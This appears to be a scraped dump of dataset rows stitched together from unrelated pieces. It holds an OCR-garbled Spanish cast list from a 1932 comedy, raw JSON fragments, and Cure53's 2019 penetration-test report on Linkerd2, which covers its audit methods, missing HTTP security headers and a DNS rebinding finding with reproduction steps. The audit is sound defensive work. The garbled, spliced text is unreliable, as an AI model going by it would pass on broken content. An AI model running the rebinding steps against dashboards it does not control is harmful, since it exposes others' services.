****3^'AÑOVI|5DEMARZODE1932MADRIDNÚM.234\nREPARTOPERSONAJESACTORESValentinaLoretoPrado.CristinaConsueloNieva.EsmeraldinaCarmenL.SolíaJenaraJuliaMedero.LiberadaPePitadelCid-PetraLuisaMelchor.1>eresaJosefinaInfiesta.BiasaEmiliadelCid.Mcasia..'..'..AmaliaAnchorena.LudaNatividadRodrigue».PascasioEnriqueChicote.TeodoioFranciscoMelgares.AmadorJoséCuenca.CiríacoJoKéSampietro.ManoloRodolfoRecober.BenignoJoséLuciaFedericoAntonioMartínez.Miguel-JoséDelgado.BenitoJuanJiménezRomero.LaacciónenMadrid.—Épocaactual.-^Acotacionesdelladodelactor.Nqta.—Lascuatroúltimasmujeresyloscincoúltimoshombresadmiteneldoble.\n"}],"string":"[\n {\n \"data\": \",_:_._;._7A6SACTOSCÓMICOS\\\\DE.PeLLAvLUCIO\\nICubiertadeesteLoretoPradoEnriqueChicoteyFranciscoMelgares\\nde¡Adivorciarsefocan!\\n123JACINTO^APELLAYJOSÉDESLUCIÓ¡ADIVORCIARSETOCJUGUETECÓMICO,ENTRESACTOSORIGINALEst/enadoenelTeatroCómico,deMadrid,eldía10deDiciembredeANTONIOMt>****3^'AÑOVI|5DEMARZODE1932MADRIDNÚM.234\\nREPARTOPERSONAJESACTORESValentinaLoretoPrado.CristinaConsueloNieva.EsmeraldinaCarmenL.SolíaJenaraJuliaMedero.LiberadaPePitadelCid-PetraLuisaMelchor.1>eresaJosefinaInfiesta.BiasaEmiliadelCid.Mcasia..'..'..AmaliaAnchorena.LudaNatividadRodrigue».PascasioEnriqueChicote.TeodoioFranciscoMelgares.AmadorJoséCuenca.CiríacoJoKéSampietro.ManoloRodolfoRecober.BenignoJoséLuciaFedericoAntonioMartínez.Miguel-JoséDelgado.BenitoJuanJiménezRomero.LaacciónenMadrid.—Épocaactual.-^Acotacionesdelladodelactor.Nqta.—Lascuatroúltimasmujeresyloscincoúltimoshombresadmiteneldoble.\\n\"\n }\n]"}}},{"rowIdx":39452,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"SECURITY_AUDIT.pdf\",\n \"project_name\": \"Linkerd\",\n \"subcategory\": \"Service Mesh\"\n}"},"content":{"kind":"list like","value":[{"data":" Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nPentest-Report Linkerd2 & Linkerd2 Proxy 06.2019\nCure53, Dr.-Ing. M. Heiderich, M. Wege, Prof. N. Kobeissi, N. Hippert, J. Larsson,\nBSc. J. Hector, BSc. T.-C. “Filedescriptor” Hong\nIndex\nIntroduction\nScope\nTest Methodology\nPart 1. Manual code auditing\nPart 2. Code-assisted penetration testing\nMiscellaneous Issues\nLNK-01-001 Dashboard: General HTTP security headers missing (Info)\nLNK-01-002 Dashboard: Missing DNS Rebinding attack protection (Low)\nConclusions\nIntroduction\n“Linkerd is a service mesh for Kubernetes and other frameworks. It makes running\nservices easier and safer by giving you runtime debugging, observability, reliability, and\nsecurity—all without requiring any changes to your code.”\nFrom https://linkerd.io/2/overview/\nThis report documents the results of a security assessment targeting the Linkerd\ncomplex. Carried out by Cure53 in June 2019, this project entailed both a penetration\ntest and a source code audit, which specifically investigated Linkerd, the Linkerd Proxy\nand the gRPC API bindings. It should also be noted that this security-centered\nexamination was requested and sponsored by The Linux Foundation/CNCF.\nAs for the resources, a total of seven Cure53 testers completed this project by spending\na total of eighteen days on analyzing the scope with a wide range of approaches. The\nguiding methodology was, by default, white-box because all sources are available\npublicly. Adhering to the well-established standards, Cure53 followed a specific, two-\npronged approach of relying on source code auditing on the one hand, and executing a\nCure53, Berlin · 06/27/19 1/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \npenetration test, on the other. The latter targeted several remote and local instances\nwhere Linkerd is being used in the same way that it would likely be used in production.\nTo support and facilitate the project, the Linkerd in-house team helped Cure53 with\nsetting up a cluster in which Linkerd was used as intended by the maintainers. This\nhandling was very helpful in getting access to (and awareness of) a realistic test-target.\nThe communications during the test were done in a shared Slack channel, set up by\nCure53 and joined by the Linkerd developers from Buoyant. In addition to that, a scope\ndocument was shared via Google Drive and then used throughout the test in a\ncollaborative manner. The Linkerd team could add information about areas of interest\n“on the go”, which resulted in a better familiarity and clarity about scope details and other\nmatters. All these actions contributed to the Cure53’s capacity of completing all\nobjectives on time and to a high standard. With good communications in place, Cure53\nwas able to reach good coverage over the security relevant areas.\nIt became clear to Cure53 quite fast that the Linkerd codebase and implementation are\nvery robust from a security standpoint. The tested item made a very good impression\nand very few, rather marginal issues were spotted. Nevertheless, the two spotted flaws\nrelate to general weaknesses in the web interface, which could be hardened a bit better\nin Cure53’s expert opinion.\nThis report will now describe the scope in more detail and then moves on to a\ncomprehensive overview of the test methodology and coverage. As not many findings\nhave been spotted, Cure53 uses this section to help the Linkerd maintainer team\nnavigate through the approaches and types of tests completed on the scope. Next up,\nthe two findings will be documented, alongside with recommendations about addressing\nthem in the best way possible. The report then closes with the usual conclusion in which\nCure53 describes the test as such, as well as reiterates the results and arrives at a final,\nbroader verdict of this 2019 engagement Conclusions pertinent to the general security\nposture of the Linkerd and Linkerd Proxy projects ensue.\nCure53, Berlin · 06/27/19 2/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nScope\n●Linkerd & Linkerd Proxy\n○https://github.com/linkerd/linkerd2 \n○https://github.com/linkerd/linkerd2-proxy \n○https://github.com/linkerd/linkerd2-proxy-api \n●Documentation\n○https://linkerd.io/2/reference/ \n●A Scope Document was shared between Linkerd Team and Cure53\nTest Methodology\nThe following paragraphs describe the testing methodology used during the audit of the\nLinkerd2 and the related, Linkerd2 Proxy-codebase. The test was divided into two\nphases, each fulfilling different goals. In the first phase, the focus was on manual source\ncode reviews needed to spot insecure code patterns. Usually issues around race\nconditions, information leakage or similar flaws can be found in this context. During the\nsecond phase, it was evaluated whether the stated security goals and premise can, in\nfact, withstand real-life attack scenarios.\nPart 1. Manual code auditing\nThis section lists the steps that were undertaken during the first phase of the audit\nagainst the Linkerd software compound. It describes the key aspects of the manual code\naudit. Since no major issues were spotted, the list portrays the thoroughness of the\npenetration test and attests the impressively high quality of the project.\n•The Linkerd documentation was extensively studied to obtain a solid overview of\nthe software compound, in particular its architecture. Cure53 sought to get a\ngrasp on the possibly problematic areas and potential attack surfaces.\n•A general audit of the Go codebase for dangerous sinks (such as command\nexecution functions) with unsanitized input was conducted.\n•The HTTP handlers of the dashboard web interface were audited for incorrect\nhandling of user-input.\n•A more in-depth look was taken at the tap interface and how the interaction\nbetween Linkerd and the Proxy takes place.\n•The file handling code serving static content was checked for common problems\nbut found to be properly dealing with the subject.\n•The gRPC API client and gRPC request generation were analyzed for common\nproblems around parameters containing special characters.\n•The JSON error handling implementation was audited for typical weaknesses but\nis avoiding the general traps.\nCure53, Berlin · 06/27/19 3/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \n•General route mappings, the admin server interfaces/mappings and the Grafana\nroute mappings were extensively checked for edge cases.\n•The configuration file download code was evaluated for correct format handling\nand appears to be doing an impeccable job.\n•The control plane APIs were enumerated, tested for information leakage and\nwere confirmed to be read-only across the board.\n•The general HTTP handling code was analysed for known shortcomings but\nnone could be pinpointed.\n•The HTTP header handling in the Proxy code was verified to function properly\nand without falling short across errors.\n•The React code of the dashboard was checked for perilous patterns - like\ndangerouslySetInnerhtml - that could eventually lead to XSS, along with other\ntypical client-side issues (e.g. client-side path traversal). No controllable\nparameters could be identified.\n•Proxy code for handling inbound and outbound connections has been audited for\nlogical flaws. Special attention was given to header manipulation, which could\nlead to unintentional routing, as well as to the protocol detection mechanism.\n•The Grafana Proxy logic, together with the API handling logic, were investigated\nfor allowing path traversal as well as Host header injections.\n•The TLS component was audited for correct handling of secure connections, in\nparticular the parsing and serialising of certificates were scrutinized.\n•The Identity component was checked for correct handling of X.509 certificates,\nespecially as regards the creation of certificates.\n•The Healthcheck component was checked for general weaknesses of its\nimplementation concerning maintenance tests and sanity checks.\n•The Transport component of the Proxy code was audited for its application of\nTLS towards the handling of network connections.\n•The Identity component of the Proxy code was checked for correct handling of\ncertificates, especially the parsing and serializing of certificates.\n•The DNS component of the Proxy code was checked for logic weaknesses in the\nrelevant aspects resolving domain names.\nPart 2. Code-assisted penetration testing\nThe following list documents the distinguishable steps taken during the second part of\nthe test. A code-assisted penetration test was executed against the pre-configured\nKubernetes cluster running Linkerd and demo applications provided by the development\nteam. Since only a few miscellaneous issues were found during the first part of the audit,\nthis additional approach was used to ensure maximum coverage of the originally defined\nattack surface.\nCure53, Berlin · 06/27/19 4/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \n•Initially the test infrastructure was examined and tested for proper connectivity as\nwell as for actually available functionality.\n•Open issues and previously found bugs were tracked through the Linkerd\nrepositories, looking for similar errors being present in the tested version.\n•The Kubernetes configuration and integration aspects were analyzed, a search\nfor common misconfiguration issues pertaining to Linkerd was performed.\n•The running services and their individual configurations, in particular the\ninterfaces, were checked for proper compartmentalization. It was discovered that\nLinkerd is located in its own namespace but has cluster-wide access.\n•A customized fuzzing map was created to verify the general robustness of the\nservices. General as well as specific payloads were created, based on the\npreviously observed Linkerd requests. The payloads yielded a noticeable\nincrease in latency but did not have implications on availability or security.\n•Linkerd-cli was analyzed to determine its scope of functionality. Cure53\nattempted to use it as a source of compromise. Since a corresponding\nkubectl.yaml file is used to connect to the cluster and subsequently install its own\ncontrol plane API, dependencies and tap interfaces, this approach was quickly\nabandoned.\n•Linkerd-web was audited for flaws by manipulating requests for certain\napplications/namespaces. This was done through the addition of malformed\nheaders.\n•Linkerd-proxy-injecto r and proxy-auto-inject were tested by trying to inject bogus\nand slightly malformed requests into pre-routing.\n•Linkerd-tap was probed by triggering logical flaws via targeted header\nmanipulation and attempted request breakouts.\n•The dashboard web interface has been tested in a black-box fashion by\nmanipulating parameter values to contain special characters. Cure53 wanted to\nsee if this approach can cause any unintended behaviors.\n•Header manipulation has been tested by altering existing headers and adding\nheaders in requests to the demo application. It was hoped that unintentional\nrouting can be triggered.\nCure53, Berlin · 06/27/19 5/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nMiscellaneous Issues\nThis section covers those noteworthy findings that did not lead to an exploit but might aid\nan attacker in achieving their malicious goals in the future. Most of these results are\nvulnerable code snippets that did not provide an easy way to be called. Conclusively,\nwhile a vulnerability is present, an exploit might not always be possible.\nLNK-01-001 Dashboard: General HTTP security headers missing (Info)\nIt was found that the Linkerd dashboard is missing certain HTTP security headers in\nHTTP responses. This does not directly lead to a security issue, yet it might aid\nattackers in their efforts to exploit other problems. The following list enumerates the\nheaders that need to be reviewed to prevent flaws that can be attributed to mishandled\nor misconfigured headers.\n●X-Frame-Options: This header specifies whether the web page is allowed to be\nframed. Although this header is known to prevent Clickjacking attacks, there are\nmany other attacks which can be achieved when a web page is frameable1. It is\nrecommended to set the value to either SAMEORIGIN or DENY.\n●X-Content-Type-Options : This header determines whether the browser should\nperform MIME Sniffing on the resource. The most common attack abusing the\nlack of this header is tricking the browser to render a resource as an HTML\ndocument, effectively leading to Cross-Site-Scripting (XSS).\n●X-XSS-Protection : This header specifies if the browser’s built-in XSS auditors\nshould be activated (enabled by default). Not only does setting this header\nprevent Reflected XSS, but also helps to avoid the attacks abusing the issues on\nthe XSS auditor itself with false-positives, e.g. Universal XSS2 and similar. It is\nrecommended to set the value to either 0 or 1; mode=block.\nOverall, missing security headers is a bad practice that should be avoided. It is\nrecommended to add the following headers to every server response , including error\nresponses like 4xx items.\nMore broadly, it is recommended to reiterate the importance of having all HTTP headers\nset at a specific, shared and central place rather than setting them randomly. This\nshould either be handled by a load balancing server or a similar infrastructure. If the\nlatter is not possible, mitigation can be achieved by using the web server configuration\nand a matching module.\n1 https://cure53.de/xfo-clickjacking.pdf2 http://www.slideshare.net/masatokinugawa/xxn-en\nCure53, Berlin · 06/27/19 6/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nLNK-01-002 Dashboard: Missing DNS Rebinding attack protection (Low)\nIt was found that the Linkerd dashboard service, as well as the Grafana dashboard, are\nvulnerable to a DNS Rebinding attack. This allows an attacker to have a victim visiting\nan attacker-controlled website. The attacker will then be able to perform requests and\nretrieve responses on the victim’s behalf.\nThe attack exploits the fact that the dashboard does not restrict the Host header for\nincoming requests. By setting up a script on a domain with a very low TTL value and\nthen quickly rebinding its IP address of localhost, the script will then “bypass” the\nrestrictions normally set by SOP on the browser.\nSteps to Reproduce:\n•Run Linkerd dashboard service with port 3000 \n(linkerd dashboard --port 3000 )\n•Go to http://rebind.it:8080/manager.html and change the target port to 3000.\n•Click on “Start Attack” and wait for a minute.\n•The response from the dashboard will be returned, indicating success of a DNS\nRebinding attack\nIt is recommended to provide an option to fixate the dashboard domain. Grafana, for\nexample, provides an enforce_domain option to ensure that redirection to the correct\ndomain3 happens consistently.\n3 https://grafana.com/docs/v3.1/installation/configuration/#enforce_domain\nCure53, Berlin · 06/27/19 7/8 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nConclusions\nJudging by the lack of discovered relevant vulnerabilities and only a few miscellaneous\nissues, Cure53 has gained a rarely observed and very good impression of the examined\nLinkerd software complex and its surroundings. This June 2019 Cure53 project clearly\ndemonstrates that the Linkerd product is fully capable of preventing major attacks and\nshould be considered strong against the majority of malicious attempts at a compromise.\nTo give some context, this security investigation of the Linkerd system was generously\nfunded by The Linux Foundation / Cloud Native Computing Foundation, which allowed a\nteam of seven Cure53 testers to audit the software system for a total of eighteen days.\nAs a result of this wide-scoping and well-planned investigation, a good coverage of the\nLinkerd components was achieved. Cure53 is happy to report that no real vulnerabilities\ncould be identified on the Linkerd scope. For the sake of completeness, the testing team\nshould mention that there were several general security-relevant shortcomings.\nHowever, the development team was already well-aware of the issues raised by Cure53,\ni.e. as regards the necessary accessibility of the control plane from within all other\ncontainers linked to the data plane, which could, arguably, be abused by an untrusted\napplication in the same space. Most importantly, work is already under way as far as\ntackling this is concerned. The Linkerd will handle the problem by introducing RBAC\nlogic with the next major release. Another security-relevant aspect entails the component\ndependencies which have not been properly audited. Especially the currently used TLS\nlibrary has not been examined at all and this should be rectified as a matter of urgency,\nespecially since it is related to a particularly precarious area.\nThe general indicators of security found on the Linkerd project during this June 2019\nassessment are all very good. Cure53 needs to mention the atypically excellent code\nreadability, careful choice of implementation languages, as well as the clearly written\nand well-maintained documentation for all attributes. These aspects contribute to the\nbody of evidence about the overall exceptional quality of the project in terms of security.\nThe involved development team was highly engaged, starting from the preparation of\nthis audit, to the deployment of the test cluster, and, finally, to quick reaction times as\nregards questions posed by the testers. The overall state of the Linkerd project - from a\ntechnical perspective and the in-house team’s great awareness of security-relevant\npractices and aspect, solidly places the Linkerd complex on a very good level.\nCure53 would like to thank Oliver Gould and William Morgan from the Linkerd\ndevelopment team, as well as Chris Aniszczyk of The Linux Foundation, for their\nexcellent project coordination, support and assistance, both before and during this\nassignment. Special gratitude also needs to be extended to The Linux Foundation for\nsponsoring this project.\nCure53, Berlin · 06/27/19 8/8"}],"string":"[\n {\n \"data\": \" Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nPentest-Report Linkerd2 & Linkerd2 Proxy 06.2019\\nCure53, Dr.-Ing. M. Heiderich, M. Wege, Prof. N. Kobeissi, N. Hippert, J. Larsson,\\nBSc. J. Hector, BSc. T.-C. “Filedescriptor” Hong\\nIndex\\nIntroduction\\nScope\\nTest Methodology\\nPart 1. Manual code auditing\\nPart 2. Code-assisted penetration testing\\nMiscellaneous Issues\\nLNK-01-001 Dashboard: General HTTP security headers missing (Info)\\nLNK-01-002 Dashboard: Missing DNS Rebinding attack protection (Low)\\nConclusions\\nIntroduction\\n“Linkerd is a service mesh for Kubernetes and other frameworks. It makes running\\nservices easier and safer by giving you runtime debugging, observability, reliability, and\\nsecurity—all without requiring any changes to your code.”\\nFrom https://linkerd.io/2/overview/\\nThis report documents the results of a security assessment targeting the Linkerd\\ncomplex. Carried out by Cure53 in June 2019, this project entailed both a penetration\\ntest and a source code audit, which specifically investigated Linkerd, the Linkerd Proxy\\nand the gRPC API bindings. It should also be noted that this security-centered\\nexamination was requested and sponsored by The Linux Foundation/CNCF.\\nAs for the resources, a total of seven Cure53 testers completed this project by spending\\na total of eighteen days on analyzing the scope with a wide range of approaches. The\\nguiding methodology was, by default, white-box because all sources are available\\npublicly. Adhering to the well-established standards, Cure53 followed a specific, two-\\npronged approach of relying on source code auditing on the one hand, and executing a\\nCure53, Berlin · 06/27/19 1/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\npenetration test, on the other. The latter targeted several remote and local instances\\nwhere Linkerd is being used in the same way that it would likely be used in production.\\nTo support and facilitate the project, the Linkerd in-house team helped Cure53 with\\nsetting up a cluster in which Linkerd was used as intended by the maintainers. This\\nhandling was very helpful in getting access to (and awareness of) a realistic test-target.\\nThe communications during the test were done in a shared Slack channel, set up by\\nCure53 and joined by the Linkerd developers from Buoyant. In addition to that, a scope\\ndocument was shared via Google Drive and then used throughout the test in a\\ncollaborative manner. The Linkerd team could add information about areas of interest\\n“on the go”, which resulted in a better familiarity and clarity about scope details and other\\nmatters. All these actions contributed to the Cure53’s capacity of completing all\\nobjectives on time and to a high standard. With good communications in place, Cure53\\nwas able to reach good coverage over the security relevant areas.\\nIt became clear to Cure53 quite fast that the Linkerd codebase and implementation are\\nvery robust from a security standpoint. The tested item made a very good impression\\nand very few, rather marginal issues were spotted. Nevertheless, the two spotted flaws\\nrelate to general weaknesses in the web interface, which could be hardened a bit better\\nin Cure53’s expert opinion.\\nThis report will now describe the scope in more detail and then moves on to a\\ncomprehensive overview of the test methodology and coverage. As not many findings\\nhave been spotted, Cure53 uses this section to help the Linkerd maintainer team\\nnavigate through the approaches and types of tests completed on the scope. Next up,\\nthe two findings will be documented, alongside with recommendations about addressing\\nthem in the best way possible. The report then closes with the usual conclusion in which\\nCure53 describes the test as such, as well as reiterates the results and arrives at a final,\\nbroader verdict of this 2019 engagement Conclusions pertinent to the general security\\nposture of the Linkerd and Linkerd Proxy projects ensue.\\nCure53, Berlin · 06/27/19 2/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nScope\\n●Linkerd & Linkerd Proxy\\n○https://github.com/linkerd/linkerd2 \\n○https://github.com/linkerd/linkerd2-proxy \\n○https://github.com/linkerd/linkerd2-proxy-api \\n●Documentation\\n○https://linkerd.io/2/reference/ \\n●A Scope Document was shared between Linkerd Team and Cure53\\nTest Methodology\\nThe following paragraphs describe the testing methodology used during the audit of the\\nLinkerd2 and the related, Linkerd2 Proxy-codebase. The test was divided into two\\nphases, each fulfilling different goals. In the first phase, the focus was on manual source\\ncode reviews needed to spot insecure code patterns. Usually issues around race\\nconditions, information leakage or similar flaws can be found in this context. During the\\nsecond phase, it was evaluated whether the stated security goals and premise can, in\\nfact, withstand real-life attack scenarios.\\nPart 1. Manual code auditing\\nThis section lists the steps that were undertaken during the first phase of the audit\\nagainst the Linkerd software compound. It describes the key aspects of the manual code\\naudit. Since no major issues were spotted, the list portrays the thoroughness of the\\npenetration test and attests the impressively high quality of the project.\\n•The Linkerd documentation was extensively studied to obtain a solid overview of\\nthe software compound, in particular its architecture. Cure53 sought to get a\\ngrasp on the possibly problematic areas and potential attack surfaces.\\n•A general audit of the Go codebase for dangerous sinks (such as command\\nexecution functions) with unsanitized input was conducted.\\n•The HTTP handlers of the dashboard web interface were audited for incorrect\\nhandling of user-input.\\n•A more in-depth look was taken at the tap interface and how the interaction\\nbetween Linkerd and the Proxy takes place.\\n•The file handling code serving static content was checked for common problems\\nbut found to be properly dealing with the subject.\\n•The gRPC API client and gRPC request generation were analyzed for common\\nproblems around parameters containing special characters.\\n•The JSON error handling implementation was audited for typical weaknesses but\\nis avoiding the general traps.\\nCure53, Berlin · 06/27/19 3/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\n•General route mappings, the admin server interfaces/mappings and the Grafana\\nroute mappings were extensively checked for edge cases.\\n•The configuration file download code was evaluated for correct format handling\\nand appears to be doing an impeccable job.\\n•The control plane APIs were enumerated, tested for information leakage and\\nwere confirmed to be read-only across the board.\\n•The general HTTP handling code was analysed for known shortcomings but\\nnone could be pinpointed.\\n•The HTTP header handling in the Proxy code was verified to function properly\\nand without falling short across errors.\\n•The React code of the dashboard was checked for perilous patterns - like\\ndangerouslySetInnerhtml - that could eventually lead to XSS, along with other\\ntypical client-side issues (e.g. client-side path traversal). No controllable\\nparameters could be identified.\\n•Proxy code for handling inbound and outbound connections has been audited for\\nlogical flaws. Special attention was given to header manipulation, which could\\nlead to unintentional routing, as well as to the protocol detection mechanism.\\n•The Grafana Proxy logic, together with the API handling logic, were investigated\\nfor allowing path traversal as well as Host header injections.\\n•The TLS component was audited for correct handling of secure connections, in\\nparticular the parsing and serialising of certificates were scrutinized.\\n•The Identity component was checked for correct handling of X.509 certificates,\\nespecially as regards the creation of certificates.\\n•The Healthcheck component was checked for general weaknesses of its\\nimplementation concerning maintenance tests and sanity checks.\\n•The Transport component of the Proxy code was audited for its application of\\nTLS towards the handling of network connections.\\n•The Identity component of the Proxy code was checked for correct handling of\\ncertificates, especially the parsing and serializing of certificates.\\n•The DNS component of the Proxy code was checked for logic weaknesses in the\\nrelevant aspects resolving domain names.\\nPart 2. Code-assisted penetration testing\\nThe following list documents the distinguishable steps taken during the second part of\\nthe test. A code-assisted penetration test was executed against the pre-configured\\nKubernetes cluster running Linkerd and demo applications provided by the development\\nteam. Since only a few miscellaneous issues were found during the first part of the audit,\\nthis additional approach was used to ensure maximum coverage of the originally defined\\nattack surface.\\nCure53, Berlin · 06/27/19 4/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\n•Initially the test infrastructure was examined and tested for proper connectivity as\\nwell as for actually available functionality.\\n•Open issues and previously found bugs were tracked through the Linkerd\\nrepositories, looking for similar errors being present in the tested version.\\n•The Kubernetes configuration and integration aspects were analyzed, a search\\nfor common misconfiguration issues pertaining to Linkerd was performed.\\n•The running services and their individual configurations, in particular the\\ninterfaces, were checked for proper compartmentalization. It was discovered that\\nLinkerd is located in its own namespace but has cluster-wide access.\\n•A customized fuzzing map was created to verify the general robustness of the\\nservices. General as well as specific payloads were created, based on the\\npreviously observed Linkerd requests. The payloads yielded a noticeable\\nincrease in latency but did not have implications on availability or security.\\n•Linkerd-cli was analyzed to determine its scope of functionality. Cure53\\nattempted to use it as a source of compromise. Since a corresponding\\nkubectl.yaml file is used to connect to the cluster and subsequently install its own\\ncontrol plane API, dependencies and tap interfaces, this approach was quickly\\nabandoned.\\n•Linkerd-web was audited for flaws by manipulating requests for certain\\napplications/namespaces. This was done through the addition of malformed\\nheaders.\\n•Linkerd-proxy-injecto r and proxy-auto-inject were tested by trying to inject bogus\\nand slightly malformed requests into pre-routing.\\n•Linkerd-tap was probed by triggering logical flaws via targeted header\\nmanipulation and attempted request breakouts.\\n•The dashboard web interface has been tested in a black-box fashion by\\nmanipulating parameter values to contain special characters. Cure53 wanted to\\nsee if this approach can cause any unintended behaviors.\\n•Header manipulation has been tested by altering existing headers and adding\\nheaders in requests to the demo application. It was hoped that unintentional\\nrouting can be triggered.\\nCure53, Berlin · 06/27/19 5/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nMiscellaneous Issues\\nThis section covers those noteworthy findings that did not lead to an exploit but might aid\\nan attacker in achieving their malicious goals in the future. Most of these results are\\nvulnerable code snippets that did not provide an easy way to be called. Conclusively,\\nwhile a vulnerability is present, an exploit might not always be possible.\\nLNK-01-001 Dashboard: General HTTP security headers missing (Info)\\nIt was found that the Linkerd dashboard is missing certain HTTP security headers in\\nHTTP responses. This does not directly lead to a security issue, yet it might aid\\nattackers in their efforts to exploit other problems. The following list enumerates the\\nheaders that need to be reviewed to prevent flaws that can be attributed to mishandled\\nor misconfigured headers.\\n●X-Frame-Options: This header specifies whether the web page is allowed to be\\nframed. Although this header is known to prevent Clickjacking attacks, there are\\nmany other attacks which can be achieved when a web page is frameable1. It is\\nrecommended to set the value to either SAMEORIGIN or DENY.\\n●X-Content-Type-Options : This header determines whether the browser should\\nperform MIME Sniffing on the resource. The most common attack abusing the\\nlack of this header is tricking the browser to render a resource as an HTML\\ndocument, effectively leading to Cross-Site-Scripting (XSS).\\n●X-XSS-Protection : This header specifies if the browser’s built-in XSS auditors\\nshould be activated (enabled by default). Not only does setting this header\\nprevent Reflected XSS, but also helps to avoid the attacks abusing the issues on\\nthe XSS auditor itself with false-positives, e.g. Universal XSS2 and similar. It is\\nrecommended to set the value to either 0 or 1; mode=block.\\nOverall, missing security headers is a bad practice that should be avoided. It is\\nrecommended to add the following headers to every server response , including error\\nresponses like 4xx items.\\nMore broadly, it is recommended to reiterate the importance of having all HTTP headers\\nset at a specific, shared and central place rather than setting them randomly. This\\nshould either be handled by a load balancing server or a similar infrastructure. If the\\nlatter is not possible, mitigation can be achieved by using the web server configuration\\nand a matching module.\\n1 https://cure53.de/xfo-clickjacking.pdf2 http://www.slideshare.net/masatokinugawa/xxn-en\\nCure53, Berlin · 06/27/19 6/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nLNK-01-002 Dashboard: Missing DNS Rebinding attack protection (Low)\\nIt was found that the Linkerd dashboard service, as well as the Grafana dashboard, are\\nvulnerable to a DNS Rebinding attack. This allows an attacker to have a victim visiting\\nan attacker-controlled website. The attacker will then be able to perform requests and\\nretrieve responses on the victim’s behalf.\\nThe attack exploits the fact that the dashboard does not restrict the Host header for\\nincoming requests. By setting up a script on a domain with a very low TTL value and\\nthen quickly rebinding its IP address of localhost, the script will then “bypass” the\\nrestrictions normally set by SOP on the browser.\\nSteps to Reproduce:\\n•Run Linkerd dashboard service with port 3000 \\n(linkerd dashboard --port 3000 )\\n•Go to http://rebind.it:8080/manager.html and change the target port to 3000.\\n•Click on “Start Attack” and wait for a minute.\\n•The response from the dashboard will be returned, indicating success of a DNS\\nRebinding attack\\nIt is recommended to provide an option to fixate the dashboard domain. Grafana, for\\nexample, provides an enforce_domain option to ensure that redirection to the correct\\ndomain3 happens consistently.\\n3 https://grafana.com/docs/v3.1/installation/configuration/#enforce_domain\\nCure53, Berlin · 06/27/19 7/8 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nConclusions\\nJudging by the lack of discovered relevant vulnerabilities and only a few miscellaneous\\nissues, Cure53 has gained a rarely observed and very good impression of the examined\\nLinkerd software complex and its surroundings. This June 2019 Cure53 project clearly\\ndemonstrates that the Linkerd product is fully capable of preventing major attacks and\\nshould be considered strong against the majority of malicious attempts at a compromise.\\nTo give some context, this security investigation of the Linkerd system was generously\\nfunded by The Linux Foundation / Cloud Native Computing Foundation, which allowed a\\nteam of seven Cure53 testers to audit the software system for a total of eighteen days.\\nAs a result of this wide-scoping and well-planned investigation, a good coverage of the\\nLinkerd components was achieved. Cure53 is happy to report that no real vulnerabilities\\ncould be identified on the Linkerd scope. For the sake of completeness, the testing team\\nshould mention that there were several general security-relevant shortcomings.\\nHowever, the development team was already well-aware of the issues raised by Cure53,\\ni.e. as regards the necessary accessibility of the control plane from within all other\\ncontainers linked to the data plane, which could, arguably, be abused by an untrusted\\napplication in the same space. Most importantly, work is already under way as far as\\ntackling this is concerned. The Linkerd will handle the problem by introducing RBAC\\nlogic with the next major release. Another security-relevant aspect entails the component\\ndependencies which have not been properly audited. Especially the currently used TLS\\nlibrary has not been examined at all and this should be rectified as a matter of urgency,\\nespecially since it is related to a particularly precarious area.\\nThe general indicators of security found on the Linkerd project during this June 2019\\nassessment are all very good. Cure53 needs to mention the atypically excellent code\\nreadability, careful choice of implementation languages, as well as the clearly written\\nand well-maintained documentation for all attributes. These aspects contribute to the\\nbody of evidence about the overall exceptional quality of the project in terms of security.\\nThe involved development team was highly engaged, starting from the preparation of\\nthis audit, to the deployment of the test cluster, and, finally, to quick reaction times as\\nregards questions posed by the testers. The overall state of the Linkerd project - from a\\ntechnical perspective and the in-house team’s great awareness of security-relevant\\npractices and aspect, solidly places the Linkerd complex on a very good level.\\nCure53 would like to thank Oliver Gould and William Morgan from the Linkerd\\ndevelopment team, as well as Chris Aniszczyk of The Linux Foundation, for their\\nexcellent project coordination, support and assistance, both before and during this\\nassignment. Special gratitude also needs to be extended to The Linux Foundation for\\nsponsoring this project.\\nCure53, Berlin · 06/27/19 8/8\"\n }\n]"}}},{"rowIdx":39453,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"zlib.3.pdf\",\n \"project_name\": \"Pipy\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list 